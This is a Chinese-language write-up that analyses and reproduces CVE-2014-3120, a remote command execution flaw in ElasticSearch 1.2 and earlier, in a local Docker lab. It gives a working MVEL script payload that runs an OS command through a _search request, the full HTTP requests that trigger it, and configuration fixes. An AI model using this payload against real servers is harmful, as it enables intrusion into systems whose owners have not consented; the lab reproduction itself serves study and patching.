CVE-2014-3120 ElasticSearch命令执行漏洞分析复现
概述
ElasticSearch是一个基于全文检索引擎Lucene的分布式、高扩展、高实时的检索与数据分析引擎,支持全文检索,结构化检索以及数据分析。
受影响版本
ElasticSearch ≤ 1.2
分析环境
docker pull lazychristmas/cve-2014-3120:v1.0
漏洞分析
ElasticSearch1.2之前有动态脚本执行的功能,这个功能其实可以让我们很方便的查询出数据进行加工处理,但ElasticSearch用的脚本引擎是MVEL,这个引擎是没有任何安全机制的,通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。
漏洞复现
构造payload
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
利用这个漏洞必须要有一条数据,我们需要在创建一下
POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "hihihi"
}
执行
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
修复方案
- 升级到最新版本
- 在elasticsearch.yml中将script.disable_dynamic参数改为true
script.disable_dynamic: true